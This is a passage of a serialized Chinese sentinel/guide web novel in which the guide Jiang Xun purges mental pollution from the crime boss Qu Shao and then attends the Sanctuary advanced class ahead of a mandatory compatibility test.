曲绍缓缓点头，看向江寻的目光里精光爆闪。 “他们并非技艺不精，而是因为，”江寻直视曲绍，一字一句道破关键：“他们的精神力总量不够！无法在一次净化过程中，彻底清除掉您体内所有的‘污染孢子’！” “一旦净化中途力竭，残留的‘孢子’就会以更快的速度，污染新生的精神力，在这样的恶性循环下，您体内纯净的精神力日益枯竭，表现在外在上，就是污染反复发作，并且一次比一次严重！” 室内陷入一片凝滞的寂静，曲绍死死盯着江寻，他的诊断，与自己这段时间以来的状况完全一致！ “所以，”江寻给出最终结论：“要彻底净化污染，需要一位精神力总量足以媲美，甚至超过阁下，并且对精神污染的净化非常熟悉，能以最少的损耗灭杀掉这些‘孢子’的向导。” “他必须在一次治疗之内，彻底地完成对整个精神域的净化。中间不能有丝毫停顿与遗漏，这样才能彻底斩除你的病根！” 黑蝎眼中精光四溢，紧盯江寻的目光中，燃起灼热的希望：“所以……你能做到？” 江寻垂眸略一沉吟，再抬眼时，眼神中带着一抹自信：“论起净化能力，我有这个把握，精神力总量的话，也可以一试，不过……”他的话锋一转，指了指自己的太阳穴，“我前阵子遇到些情况，精神力损耗过多，诊所歇业了好几天也是因为这个原因。” “如果要完成这种规模的彻底净化，以我当前的精神力储备强行施展，对阁下、对我，风险都极大。” 黑蝎面露喜色，立刻接道：“这好办！我可以立刻给你安排哨兵进行精神补偿，你喜欢什么样的，要多少个、什么等级，都没有问题！” 江寻摇了摇头，声音平淡却不容置喙：“不必，曲老大应该调查过我了吧？我的规矩就是，不接受精神补偿。” “他们那些粗人，你看不上也正常，可我要给你安排的，必定是最顶尖的，你……”曲绍眼中闪过一抹错愕，他当然提前调查过这个“希先生”，但是，拒绝精神补偿？他一直以为对方只是看不上那些人选。 “我有我的原因，并非找借口。”江寻解释道：“若阁下信得过我，给我三天时间。三天之后，我再来这里为您医治。若信不过我，”他两手微摊，“那阁下只能另请高明了。” “你……”曲绍眼神陡然一厉，紧盯着江寻双眼，目光里翻涌着一抹被威胁的暴戾凶光。 然而江寻与他对视的目光始终平静无波，僵持数息，曲绍终于咬牙妥协。 “……好！”曲绍从牙缝里挤出一个冰冷的字眼，语气中带着沉重的压迫，“我就给你三天！你若是敢跑……” 他眼中凶光毕露，未尽的话语里，充满威胁。 “自当信守承诺。”江寻微微颔首，不再多言，整了整衣袖，转身便走。 门口的守卫还想阻拦，被曲绍一个眼神制止。 “希先生，三天后，我在此恭候！” 曲绍低沉而充满力量的声音，从身后传来，江寻脚步微顿，随即不再停留，迈开步伐，大步流星地向外走去—— 作者有话说：一更！ 第115章 从黑蝎曲绍那压抑的小楼回到自己的暗巷诊所， 江寻一进门便反手锁死了大门，背靠着门板，终于放松下来， 长长地吁出了一口气。 揉了揉鼻子， 那种铁锈与腐败的气息仿佛还附着在鼻腔里。 虽然他一直表现得一副镇定自若的样子， 但是，在绝对的武力和势力面前，他与黑蝎之间毫无可比性。若不是对方真的急需高级向导治疗， 恐怕也不会被自己暂时牵制住。 “希先生！您回来了？！” 里间诊疗室的房门被推开， 沃特从里面探出身来。 嗯？他还没走？ 江寻一楞间，沃特已经快步凑近。 绕着江寻仔细看了一圈，确认他安然无恙，这才大大松了口气：“您没事就好，可吓死我了！”他挠着头，露出一个憨笑：“不愧是您啊！连黑蝎也不敢对您怎么样！您这是……拒绝了？” “不， ”江寻摇了摇头， “只是推迟了几天， 三天后，我会过去给他治疗。” “三天？”沃特的脸上浮起忧虑：“三天后……您真有把握？那黑蝎可是快要迈进S级的凶人， 我听说他前阵子已经发落了不少向导了……” “有没有把握，都得去。”江寻打断他， 事已至此，好好准备就是， 他不是瞻前顾后的人。 “坐，我有些事想问你。”江寻勾过一把椅子，递给沃特一杯清水。 “好，好！”沃特忙不迭地接过水杯， 在江寻对面坐下，“您尽管问！凭您对我们的恩情，我一定知无不言，言无不尽！” “你对圣所高级研修班的匹配度测试，了解多少？” 江寻开门见山，“正常的匹配度测试，和它又有什么不同？” 沃特挠了挠头：“我们也没有其他认识的从高级研修班出身的人，只听过一些传闻。我从正常的匹配度测试说起吧。” “您知道，塔组织旗下，一共有七大中心，一般我们常见的，除了负责能力开发的‘圣所’，和负责医疗研究的‘愈灵殿’之外，像这种用于哨向匹配的测试，通常要去塔里，负责人员管理与精神监控的‘灵枢’中心测试的。” “因为成本和这些年来联盟一直倡导的‘不以匹配度结合’的风潮，像这种匹配度测试，官方是不会强制登记在册的哨兵向导们去做的。一般都是有意结合的哨向组合，才会主动申请测试。灵枢也只会公布申请双方的对比匹配结果。” “但是，这个高级研修班的匹配度测试，和这种就完全不一样了！” 沃特看了眼江寻，继续说道： “这个强制测试的规矩，其实是从很早以前流传下来的。” “您知道，三百多年前，咱们人类刚刚进入星际社会的那时候，实力是非常弱小的，一度在其他种族的围剿下差点灭族。” “当时为了研究出足以拯救种族的武器，不知同时开展了多少项目，花费了多少资源和人力。最终，我们终于发现了精神力！并通过实验，创造出了‘哨兵’这种能够利用精神力作战的超级战士！” “当时许多战士都自愿成为试验品，参与测试。在失去了许多优秀的精英之后，我们终于成功拥有了第一代哨兵！以此为基点，我们人类才勉强守住了自己的根基，在星际世界里第一次站稳了脚跟！” “但是好景不长，没过几年，我们就发现了哨兵身上致命的缺陷！因为长期的拟化变身，哨兵们开始控制不住自己的五感，频繁陷入神游状态。更严重的，还会出现幻听幻视现象，直至完全分不清现实与幻想，陷入疯狂，甚至彻底堕化成野兽！这种现象，在越高阶的，作战越频繁的战士身上，发作得越严重！” “研究出哨兵的科学家们，不知又耗费了多少时间去寻找彻底根治的办法，在这个过程里发明出了不少设施与药剂，但都只能缓解，无法根除。也许是我们人类命不该绝，在这种情况下，哨兵和普通人所诞下的孩子里，居然自然觉醒了一个‘向导’！” “向导完全就像是为了哨兵而诞生的，他们可以完美的和哨兵契合在一起，弥补哨兵精神层面的所有缺陷，而哨兵也能补足向导在肉|体方面的孱弱。至此，我们人类才真正进入了高速发展的纪元！” “可是，因为向导无法在一出生的时候就被检测出潜力来，后期觉醒、成长的过程中，也会造成一半以上的折损、降级等情况。向导的数量始终难以提升。在向导刚刚被发现的那段时期里，还因为各方武装势力对向导的激烈争夺，哨向比例一度跌破到了一比二十以下。直到联盟正式成立，专门管理哨兵向导的塔组织建立起来，这种局面才得到了好转。” “向导数量本就稀少，能成长到高阶的向导更是凤毛麟角。那时候，联盟初建，又十分需要高级哨兵的武力支持，为了让更多的哨兵存活下来，这才有了这项强制性的匹配度测试。” “这种匹配度测试，不是只为两个人比对测试，而是测试每位向导与所有登记在册的未绑定哨兵的匹配度。智脑会对比数据库中留存的数据，在匹配过后，向所有匹配度达到60%以上的哨兵发送该名向导的信息。后续不论是在课程中作为搭档，又或是参与组队任务，智脑也会优先推荐匹配度高的哨向组合。” “听说，高匹配度的哨向组合，不仅是疏导的效果更好，”说到这里，沃特忍不住舔了舔嘴唇，向江寻投去一个“你懂的”眼神，这才接着说： “他们生育的后代，觉醒哨兵向导的几率也远远高于常人！所以，每年高级研修班的匹配度测试，那些世家大族、军部大佬，都死死盯着呢！哪个向导要是运气好，和某个了不得的大人物匹配度高，那简直就是一步登天了！” 江寻恍然，原来如此，这么说来的确很合理，若是从联盟存续的角度来看，当然会鼓励匹配度更高的向哨，结合在一起。 “那这种匹配，双方有自主选择权吗？”沉吟片刻，江寻再次追问。 “选择权？” 沃特扯出一个略带讽刺的笑容，“希先生，理论上当然有，联盟不是提倡‘自由结合’嘛！但是实际上，还不是看双方的权力地位……呵呵，您想想啊，一个A级甚至S级的世家继承人或者军部高层，智脑判定他和您的匹配度高达80%、90%，他也强烈要求要和您搭档训练，甚至绑定，您能拒绝吗？又能拒绝几次？那些大佬背后的势力，会允许您拒绝吗？” 沃特摇了摇头：“要是他们不知情也就罢了。一旦被他们知道了，有个和自己高匹配度的高阶向导，就在自己的眼皮子底下，他们能就这么看着，什么也不做吗？特别是B级以上，有能力进入精神图景的向导，最后几乎都会被那帮子大人物们瓜分殆尽。以前也有人不情愿，但是结果嘛……”他咂咂嘴，“没几个有好下场的！” 江寻的手指在桌面上轻轻敲击着，这时候，他才彻底明白了洛伦茨那句话的深意，也看清了自己将要面对的，会是什么。 “说说中央星的势力吧。” 江寻转换了话题，“塔、军部、议会、世家家族，他们之间，是个什么局面？” 沃特喝了口水，说道：“嗨！这里头可就复杂了！最高层的秘辛也不是我能知道的。不过，从明面上看，塔呢，是掌握着所有在册向导和大部分哨兵资源的超然组织。他们只负责培养、管理和调剂，一般不直接插手具体事务。” “军部九大军团，掌握着联盟所有正规武装力量，全面负责联盟疆域内的和平稳定和对外开拓。” “议会呢，由各星域、殖民星球和主要势力的代表组成。作为联盟的最高决策机构，负责制定星际法律、政策和战略规划，确保各方利益得到平衡。” “至于世家家族，那就太多了！不过最顶尖的三大家族，就是手握第二、三军团的布瑞克家族，掌控第四、六军团的凡纳家族，还有执掌第五军团的明家了。” “其中，布瑞克家族人数最多，代代盛产高阶哨兵，在军部和塔中势力根深蒂固。凡纳家族，产业遍布全联盟，坐拥许多个联盟重要的工业星球，是联盟最富有的家族。而明家，那就厉害了！他们几乎垄断了医疗产业，而且家族成员里经常觉醒高阶向导，还擅长笼络吸纳有潜力的高阶哨兵向导，现任的联盟元帅，就是他们家的女婿！” “这些家族呀，彼此盘根错节，又互相倾轧，里头的水深的很！” 江寻静静听着，若有所思地点了点头。 沃特的情报，与他此前观察到的信息相互印证，中央星这张巨大而复杂的权力网络，在他脑海中渐渐勾勒出更为清晰的轮廓—— 作者有话说：二更！修完版~ 第116章 接下来的两天， 江寻的生活重归平静。 白天，他如同最普通的外城居民，一身朴素， 混迹在公告区与街头巷尾， 搜集着官方发布的新闻通告， 亦或口口流传的市井消息；在二手店里，淘弄有意思的旧书杂物；甚至坐在街心公园的长椅上，看着那些衣着光鲜的世家子弟们， 驾驶着悬浮车从头顶呼啸掠过， 留下一道道交织追逐的流光。 夜晚，则窝在自己安静的小窝里冥想休憩，感受着日益扩大的精神海，重新蓄满能量的洪流。他能清晰地感觉到，精神力在缓慢而坚定地增长，距离能量重新充盈， 已经越来越近。 偶尔， 在意识沉溺在深度冥想之中的时候， 他仿佛能透过那扇紧闭着的“门”，听到对面传来极其微弱的模糊呼唤。他听不清那呼唤中的具体内容， 却无比确定这声音来自那个一直在苦苦寻找的人。 这感觉虚无缥缈，对于他来说却无比重要， 如同黑暗中的灯塔，支撑着他在这波谲云诡的世界里坚定前行。 第三天傍晚。 江寻长长呼出一口浊气， 睁开了眼睛。 因为精神海的容量又扩大了一些，精神力完全恢复的时间比他预计的稍晚。不过，总算是赶上了。 江寻抬眼，看向桌面， 桌旁静静躺着一张平整的纸笺，是今天一大早被塞进自己门缝里面的。上面用力透纸背的字迹，写着一个地址。 正是今晚与黑蝎约定的地点。 三天之期已至，看来曲绍的耐心已经到了极限。 江寻站起身，最后检查了一遍随身的医疗包。这次治疗，没有什么器械药剂是需要为黑蝎准备的，这里面装着的，都是他为自己特意调配的一些补充剂。 捻起桌上的那张纸笺，江寻推开门，拉下了兜帽，身影无声地没入去往东区的夜幕之中。 * 黑街东区，曲绍府邸。 曲绍高大的身躯深陷在冰冷的金属座椅中，灰败的面色在昏暗的光线下更添几分阴沉。 他浑浊的眼珠盯在站在面前的江寻身上，已经开始失焦的瞳孔里，透出些近乎偏执的期待。 “希先生，你倒是准时。”曲绍的声音缓慢，有种凝滞的迟钝感，“三天了，看来你已经准备好了？” 江寻注视着面前人的状态，目光中浮起几分了然，却并不说破：“曲老大久等了，我已经准备妥当，随时可以开始了。” “好！”曲绍猛得一拍扶手，霍然坐直了身体，铜铃般的双目中，迸射出几分生气，“希先生信守承诺，老子也不是个小气的！只要你今天能把这该死的污染从我身上弄干净……” 他大手一挥，便有一名手下走向前来，手中不起眼的牛皮袋往前一倒——哗啦！无数金银首饰与成捆的信用点卷便被倾泻了一地，“这些东西，全都是你的！不仅如此，以后，在这个黑街里，若是有人敢找你的麻烦，你尽管报我曲绍的名号！” 江寻的目光，从滚落在自己脚尖的闪亮戒指上轻轻掠过，没有丝毫停留，抬眼看向曲绍，面上是如出一辙的温和笑意：“曲老大客气，报酬的事不急，我们先治疗，之后再议。” 说完，便迈开步子上前，将那堆闪耀着璀璨光华的财富尽数踩在脚下。这份无形的睥睨气场，让那呈上财宝的手下都不仅变了脸色。 “哈哈哈！老子果然没看错，希先生气魄非凡！”曲绍见状，非但不怒，反而因为他这番自信的表现，眼中喜色更浓。 他向着左右挥挥手，旁边随侍的手下便纷纷躬身退了下去。 江寻在曲绍旁边特设的座椅上落座，把随身携带的医疗包打开，将药剂放上最顺手的位置，手指往曲绍的腕上一搭，体内积蓄的精神力一提，便如洪流般，悍然冲入了曲绍那如同泥沼般的精神域里。 轰——！ 精神力的碰撞无声无息，却在另一个层面上更加惊心动魄！ 曲绍身体剧震，与上次完全不同的精神洪流，以沛然之势灌入他的体内。他整个人如瞬间被高压电流击中，闷哼一声，虬结的肌肉猛得紧绷起来。 他咬紧牙关，死死盯着自己的胳膊，恍惚间，仿佛看到无数细小如同活物的黑色虫豸，从自己的皮肤下凸起，疯狂蠕动了起来！鼻尖闻到的腐臭味渐浓，耳边似乎都能听到无数啮齿摩擦啃噬的窸窣声响！ “呃啊——！” 难以想象的剧痛，让曲绍喉咙里爆发出野兽般的嘶吼，额头条条青筋暴突而起，冷汗瞬间浸透了他的衣衫。 他的眼睛一瞬赤红，整个人像是被蒸熟了一般，从体内逸散出丝丝缕缕黑色、灰色、艳红色的无形烟气。 然而，尽管他整个人都在一瞬间陷入了剧痛里，神志却反而更加清醒了！ 有效！ 曲绍眼中精光爆射，强忍下那股越发剧烈，如撕裂灵魂般的痛楚，死死压制住体内狂暴的力量和反抗的本能，任由江寻的精神力洪流在体内肆虐冲刷。 江寻的脸上也在瞬间褪尽血色。 污染太顽固了，曲绍的精神力也太强了！ 这回他没打算慢慢试探，而是从一开始就全力以赴，希望能用大量的精神力压制下污染孢子的活性，而后再以最快的速度灭杀污染孢子，减少整体的损耗。 哪知这些孢子的活性竟然远超他的预料，它们不仅在外来的精神力侵入的瞬间马上就活跃了起来，疯狂地抵抗着自己的净化，更是试图顺着他的精神力反向侵蚀过去。 曲绍作为A级巅峰哨兵，体内积累的深厚精神力，此刻更是化为了对方的绝佳养料。孢子受此刺激，开始大量分裂增殖起来。 见状，江寻眼神陡然一厉，下一刻，浩瀚的精神力如同冲破堤坝的洪水，不计代价地奔涌而出，疯狂向曲绍体内流涌而去。 强悍的净化力量，在曲绍凝滞如死水的精神海中，肆无忌惮地纵横捭阖，肆意奔涌。所过之处，粘稠的污秽皆被毫无反抗地剥离开来，而后，被纯净的精神力洪流撕扯着湮灭消失！ 净化的过程瞬间加快，空气中仿佛都响起了无形的簌簌风声。大股大股散发着恶臭的黑色烟气，不断从曲绍浑身的毛孔里渗了出来，一暴露在空气中，便迅速气化消散。 江寻控制着汹涌的精神力，从曲绍的四肢末端，不断向着身体中心逼近。越靠近精神海，阻力便越发暴增。 曲绍已经被剧痛折磨得面目狰狞，紧咬的牙关滑下滴滴混着血丝的涎水。他的手指紧紧扣在金属扶手上，几乎把冷硬的金属板都按出数道凹痕来。 江寻的太阳穴突突直跳，额角的汗水如同小溪般不断流淌，眼前阵阵发黑。他能清晰地感觉到自己磅礴的精神力，正在以前所未有的速度迅速消耗，精神海的水平面正在以肉眼可见的速度跌落下去！ 净化这位A级巅峰的强者，所需的消耗远超他的预期！ 已经到了最关键的时候，此时决不能停！ 江寻眼中闪过狠色，抓起两只药剂咬破封口，仰头便大口大口地灌了下去。 即时生效的药剂顺着喉管滑下，江寻马上觉得下腹一热，汩汩新生的精神力便开始从精神海最底部涌了出来，瞬间便减缓了水平面下降的速度。 江寻心中一定，深吸一口气，搭在曲绍腕上的手指猛然收拢，精神洪流速度再飙，瞬间越过四肢经络，摧枯拉朽般裹着沿路上所有的孢子，轰然撞击在曲绍的精神海上！ 曲绍“啪”一声，猛得向后仰头，重重撞在椅背上，只觉一股庞大的冰凉精神力，悍然冲入他的精神海，沉滞已久的海洋，瞬间被搅弄翻腾了起来。冰凉的力量盘绕冲刷着，他的精神海渐渐沸腾，直到抵达某一个临界点，猛得爆开！ 无数细小的、似活物一般的虫影尖啸着冲破海面，纷纷逃窜而出，却根本躲不过四面八方的围剿，只得带着最后的挣扎被净化之力彻底吞没！ 一股强烈的呕吐感直冲喉头，曲绍忍不住嘴一张，“噗！”下一秒，大量虚幻的灰黑烟气，如同有生命一般尖啸着从他口中喷薄而出！ 曲绍浑身剧颤，如同被抽去了骨头，彻底瘫软在靠椅上，他双眼圆睁，胸膛剧烈起伏，大口大口地喘着粗气，每一声喘息都会再次喷出一股迅速消散的恶臭烟气。 皮肤上那层明显的灰败气息，也以肉眼可见的速度消褪下去。浑浊的眼珠越来越亮，周身沉寂已久的精神力开始重新流动、膨胀起来，那股令人作呕的腐败气息，在几个呼吸之间，荡然无存！ 而江寻，在曲绍的精神海发出那声爆鸣之后，眼前骤然一黑！ A级哨兵的精神海一旦重获生机，本能地便向着侵入体内的异种精神力发起了狂暴的反击。即使曲绍在一刹之后便重掌了控制权，强行压制住了精神力这本能的反噬，江寻仍是被那第一波的冲击狠狠击中，身子猛得一晃，眼前瞬间天旋地转，膝盖一软，便再也支撑不住，直直向前栽倒下去！ 一只粗糙的大手在此时及时伸出，牢牢抓住了他的胳膊，将他稳在了原地。 是曲绍！ 这位眼神重新恢复了清明的黑街霸主，此时看向江寻的眼神，充满了震撼。他清晰地感受到，体内沉寂数月、几近枯竭的精神力，再次澎湃跳动了起来！那股纠缠了他许久，几乎把他拖入绝境的污染，已经彻底消失无踪！—— 作者有话说：一更 第117章 看着江寻浑身瘫软下来， 连站都站不稳的样子，曲绍心中大为震动。 “希先生！” 曲绍的声音依旧沙哑，却带着沉甸甸的分量， “从今往后， 在这条黑街上， 你就是我曲绍的兄弟！以后若你遇到难处，只管来找我！” 他大手一挥，便有手下再次上前， 将那些价值连城的珠宝信用点， 恭敬捧到江寻面前。 “这些钱，就当做给您的营养费！” 江寻强忍着一阵阵强烈的眩晕感，抓着曲绍胳膊的手指都在止不住地颤抖。 他的脸色苍白如纸，扶着椅背撑了好几下才让自己勉强靠稳，目光扫过那堆捧到他面前的财富，轻轻摇了摇了头， 声音虚弱却分外坚定：“曲老大， 您的心意我领了， 可这钱太多了，我不能收。” 曲绍眉毛一拧， 正要再劝，却见江寻已经艰难地坐直了身体， 神色郑重地看向了他：“不过，我的确有一件事， 想请曲老大帮忙。” 曲绍微微一怔，随即回答地斩钉截铁：“希先生，您尽管开口！只要是我曲绍能办到的，我无有不应！” “曲老大放心， 不是什么难事，我想请曲老大帮我调查几个人。”江寻的声音依然虚弱，却字字清晰，“在第九空港，22号登陆口附近，有一伙人，一直在蹲守抓捕一个从外域过来的单身年轻向导。”江寻略顿了顿，迎上曲绍探究的目光，“我想请曲老大帮我查一查，他们背后站着的人是谁？” 第九空港22号登陆口？外域来的独身向导？ 曲绍若有所思地看向江寻，江寻也没有否认。 看来他们要找的目标，很可能就是这位希先生本人了，能在空港这种地方长期布控抓人，这背后的人力物力，可不是寻常势力能做到的啊！ 不过……曲绍嘴角勾起一抹自信的弧度。他黑蝎曲绍，能独自在黑街打下这偌大基业，也不是什么泛泛之辈！只是打听些消息，对他来说，还不算什么难事！ “好！”曲绍的声音斩钉截铁，“给我一些时间，老子一定把他们的底裤都给你翻出来！” “疤脸！”曲绍转头厉喝，“你亲自护送希先生回家！务必保证先生安全！希先生放心！一有消息，我立刻派人送到您手上！” * 暗巷诊所里。 几名手下恭敬地告退后，迅速转身离去。冰冷的金属门在身后闭拢，江寻再也支撑不住，踉跄着倒在了门厅长椅上，闭上眼睛，胸膛剧烈起伏，大口大口地喘着气。 还是……有点太勉强了。 好不容易恢复过来的精神力，又一次消耗殆尽。 连感应中，那道“门”的存在，都变得模糊了许多。 江寻叹一口气，这下，又要耽搁几天，才能再次打开“门”，和“他”建立起链接了。 不过，这份懊恼，很快便被现实与理智压了下去。 虽然这次的遭遇，开头时让人猝不及防，但最后的结果还算不错。 用一次倾尽全力的净化，换来黑蝎的一份人情，不仅能让自己的诊所在这黑街里站稳脚跟，还能换来一次追查幕后之人的机会。 若他猜测的不错的话，站在这些人背后的幕后之人，必定与小树的真实身份有着紧密的关系。找出他的身份，离找到小树也就不远了！ 这份代价，是值得的！ 江寻的脑海中，思绪快速运转着，在长椅上静静躺着休息了良久，急促的心跳与喘息，才渐渐平息下来。 他挣扎着坐起身，脚步虚浮地把自己挪进了里间，重重摔在那张简单的单人床上，甚至连外衣都来不及脱下，便沉入了最深沉的昏睡之中。 只有一个念头，一直在脑海中回荡着——小树，等等我！很快！很快就能找到你了！ 次日，晨光一大早就洒满了整个房间。 江寻缓缓睁开眼，面上却还是一片苍白憔悴，像是完全没睡好似的。 精神海中空空如也，经脉里传来一阵阵拉扯般的酸痛。一坐起身来，眼前便骤然一黑，江寻忙撑住床沿，缓了好几秒，整个视野这才重新明亮了起来。 轻吁一口气，他趿鞋起身，脚步虚浮地走进狭小的盥洗室里。 冰冷刺骨的水泼在脸上，翻涌的呕吐感渐去，他这才慢慢清明过来。 抬起头，镜子里映出一张苍白得近乎透明的面容，镜中人一脸疲惫虚弱，眼下还带着浓重的青黑。 瞥了眼时钟，江寻缓缓深呼吸几下，仔细地洗去那满面的疲惫，使劲拍打几下脸颊，试图让自己的气色更好一些。 拎起挂在墙边那套崭新笔挺，象征着圣所最高学府身份的纯白向导制服，一丝不苟地穿戴整齐。 仔细扣好每一粒盘扣，将领口抚平，袖口拉直。最后，将那枚白底铜钉的闪亮盾徽，端端正正地别在领口正中。 此时，镜中的人影，虽然依旧难掩憔悴，但挺括的制服和那双沉静安宁的眼眸，已足以掩盖掉那份虚弱，让他重新变回那位温和有礼，即将在今天踏入圣所高级研修班的B级向导。 推开门，外城特有的混杂着许多复杂气息的冷风迎面而来。 江寻深吸了一口气，紧了紧袖口，迈开脚步，坚定地走向涌入核心区的人潮。 前方，塔的最高殿堂，在晨光中闪耀着耀眼的光辉。 * 圣所核心区，高级研修班专属教学楼，星环大厅。 与华美浪漫的星穹大厅不同，星环大厅的设计，更像是一座巨大的阶梯教室。呈半圆形态的阶梯座位，围绕着中间的下沉式讲台，穹顶嵌着数台高倍率投影仪，能将讲台上的一切细节纤毫毕现地呈现在所有学员眼前。 江寻踏入大厅时，这里已经坐了不少人。 他每一步都踏得沉稳而缓慢，身姿笔直面色沉静，试图用端正的仪态掩盖下虚弱的内里。然而，过度消耗的精神力，不仅带给了他无时无刻如针扎般的头痛，更让他的五感都仿佛蒙上了一层厚厚的帘幕。 周遭人们的低语议论，脚步声，寒暄谈笑声，都如同隔了一层厚厚的棉絮，传入他的耳畔时，模糊不清。 他稍显迟钝地眨了眨眼，忽略视野边缘闪烁的破碎光点，微低下头，向着角落的空位走去。 可他试图低调入座的打算，却在一人欢快的语调下，被打破了。 “夏因同学！早呀！” 桑扶那清脆娇憨，又带着些刻意热络的声音响起。 他正坐在前排中央，一个显眼的位置，身边照例被几个年轻的哨兵团团围绕着。 看到江寻，他的脸上立刻扬起了一个甜美的笑容，眼神却若有所思地在江寻略显苍白的脸上逡巡着。说着说着，视线下滑，落在他动作略显迟滞的步伐上，脸上突地浮起了一抹暧昧。 “夏因向导，你昨晚……忙什么去了？脸色看着不太好啊。”他的语气关切，尾音却微微上扬，目光毫不掩饰地扫向江寻身侧，似是想搜寻到某个想象中的人影，“夏因同学，这是还没开始上课，就已经开始‘实践’了吗？” 说罢，便掩起嘴唇，吃吃地笑了起来。 江寻的目光平静地滑过桑扶那张昳丽的面容，仿佛没听出其中的深意，只微微颔首，声音是挑不出错的平稳：“我的确挺擅长实践的，多谢桑扶同学关心。” “你？！”桑扶被江寻不软不硬的一个钉子怼了回来，面色一变就要再说什么。 江寻却根本不理他，一扭身，便径直走向了后排一个光线稍暗的角落里坐下。向后一靠微闭上眼便安静了下来。 他刚在角落的座位上落定，用冰冷的合金椅子让自己振作起来一些。身边一暗，一道颀长的身影，便带着清冽的雪松气息，无声无息地在他旁边的空位坐了下来。 是洛伦茨。 江寻即使没有睁眼，也在瞬间识破了来人的身份。 他能感觉到一道目光，从身侧凉凉地射了过来，如有实质般落在自己的侧脸上，他似乎还能感觉到蕴含在那人视线里的漫不经心，与挂在唇角的兴味微笑。 江寻不为所动，像是没有察觉到身侧来人一般，仍然微阖着双眼，掩盖住眼底翻涌的疲惫与警惕。只留给洛伦茨一个线条分明的侧脸。 两人之间，渐渐弥漫起一股微妙的氛围。 时间一分一秒过去，就在江寻就要忍不住睁眼时，讲台中央的光线骤然亮起。 一位身着圣所高级导师的纯白长袍，头发花白，眼架单镜的慈祥老者身影，出现在众人面前的全息投影上。 他的面容和蔼，眼神明亮，胸前佩戴着一枚塔形徽章，与一枚浮雕着书本的教师徽章，领口上的白色盾徽上，银光闪耀。 是在入学考试中担任主考官的圣所副所长——艾略特教授！ 一看到他的身影，喧哗的大厅瞬间安静了下来—— 作者有话说：二更！ 第118章 “欢迎诸位， 圣所高级研修班第221期学员。”艾略特教授的声音不高，却清晰地穿透了整个星环大厅。 江寻精神一振，挺直脊背坐了起来。 接下来， 艾略特教授以最朴实无华的语言， 向众人阐述了研修班的核心理念， 简略介绍了课程涵盖的范围，那些从理论研究到哨向协同的课程，内容几乎囊括了哨向领域内最尖端的科学技术， 每一项都听得人心潮澎湃。 最后， 艾略特教授的目光扫过全场，尤其在几个格外突出的学员身上停留了一瞬，沉声告诫道： “你们要记住，拥有了力量，同时也意味着承担了责任。你们今日获得的每一分知识，都有可能在未来决定无数人的生死。珍惜时间与机遇， 不要等到垂垂老矣之时， 徒留悔恨！” 他的话语， 如警世之钟，在众人心头轰鸣， 在座学员纷纷面露激动之情，雷鸣般的掌声久久不歇。 艾略特教授的讲话结束之后， 今日的主讲教授上得台来，简单地介绍了一下自己与接下来的这门课程之后， 上午的课程便正式开始了。 江寻还是第一次接受这样专业系统的讲师教学，一时听得如痴如醉，许多以前不明白亦或被自己忽略过去的地方，经过老师的点拨之后， 豁然开朗起来。 只可惜江寻此时精神力枯竭得厉害，大脑运转都迟滞了下来，注意力也难以集中，强撑了片刻后，便难以为继起来。即使调动起了全部的意志力勉力支撑，也跟不上老师的思路，只得先强行将那些艰深的理论囫囵记了下来，等回家以后再慢慢消化。 坐在前排的桑扶倒是听得全神贯注，不时露出恍然大悟的表情，在老师提问时频频举手，出了好一番风头。 江寻此时才发现，簇拥在他身边的那些年轻哨兵，与一直坐在自己身边的洛伦茨，已经不知道什么时候，无声无息地退了出去。 对于江寻而言，这漫长的三个小时格外漫长难熬，他的掌心已经满是掐痕，凭着这些细微的刺痛，他才勉强抵住了不断袭上心头的眩晕与恶心。 当今日的主讲教授宣布上午的课程结束时，他终于缓缓地吁出一口灼热的气息，此时，他的后背早已被冷汗浸透。 主讲教授退下，全息投影再次亮了起来，这一次，出现在众人面前的是一位面容严肃，眼睛锐利的中年女士——正是莉亚教授。 她的声音适时响起，压下了课程结束后的稍许骚动：“想必很多人已经知道了，”她的目光在场中扫视一圈，“今天下午，不安排课程。一点整，全体学员，准时在灵枢管理中心集合，进行精神力匹配度测试。” “匹配度测试”这几个字一出口，整个星环大厅瞬间沸腾了起来！ 对此毫不知情的新晋学员们，有的忧心忡忡面露忧虑，有的眼中精光乍现。而早已从各自的渠道听说过这项传统的学员们，也难掩情绪的剧烈波动。 期待、兴奋、紧张、焦虑、野心勃勃……种种情绪弥漫在人群之中，众人的目光里，纷纷染上不一样的色彩。 桑扶的眼睛瞬间亮得惊人，下意识地挺直了脊背，心脏砰砰作响，仿佛已经看到了自己的名字，被推送到某个显赫人物的核心终端上的场景。 他飞快地瞥了一眼包括江寻在内的几位高阶向导，眼中暴露出来的，是无可掩饰的竞争之意！ 大厅中，越来越大的议论声，震得江寻眼冒金星，他缓缓靠进背后冰凉的合金椅子里，视野中的黑斑再也控制不住，急速扩散开来，耳中嘶鸣声响成了一片。 他闭了闭眼，迟滞的思维艰难地处理着信息。 几天前，刚刚从沃特那里听到的情报，缓缓浮现在心头。 他沉沉地吸了一口气，心头浮起一阵阴霾。 * 下午，灵枢人员管理中心。 与主要负责培养与能力开发，被视为成长摇篮与力量源泉的圣所不同。灵枢管理中心作为专门管理哨兵向导人员匹配，及其精神监测的调控中心，日常事物忙碌而繁杂，工作大厅里总是人来人往一片鼎沸。 尤其是今天这样重要的日子，大厅里不仅仅聚集了所有待测试的学员，旁边的等待席上，也早已座无虚席。 江寻踏入大厅的瞬间，便被无数来自四面八方的视线所笼罩。 这些目光来源不一，但大部分都来自旁边的等待席上。 有穿着军部制服，肩扛金星，胸前佩戴着不同军团徽章的军部要员及军团新星。有前呼后拥，服饰奢华神情倨傲的家族子弟们。有精神波动强悍，身着蓝色哨兵服饰，目光灼热的众多圣所高阶学长。还有身前佩戴着各式不同部门徽章的塔系统中高层成员们。 他们泾渭分明，占据着距离中央参与测试的高阶向导们最近的位置，代表着整个中央星哨兵领域中最顶尖的一部分群体。他们的存在本身，就是权力、财富、地位、野心的代名词。 而今天，他们所有人的目光，都集中在这群即将踏入最高阶圈子的向导们身上。今天过后，这里许许多多人的命运，可能都会因为他们而改变。 新晋向导们，再一次对匹配度测试的分量，有了更深的体悟。沉甸甸的压力悬在众人头顶，空气都仿佛凝滞了下来。 此刻，无论是初涉权力场的外域学员，还是从小浸淫其中的家族向导，都不自觉地紧握手掌。紧张、恐惧、期待、兴奋的情绪，在场中无声蔓延。 随着位于中央的数个被半透明能量屏障隔开的测试间，闪耀起光芒，全场所有人的目光瞬间聚焦。 负责此次匹配度测试的工作人员，取出人员名单，开始唱名，强制匹配度测试，正式开始。 * 众人瞩目之下，学员们按照学号依次进入测试间。 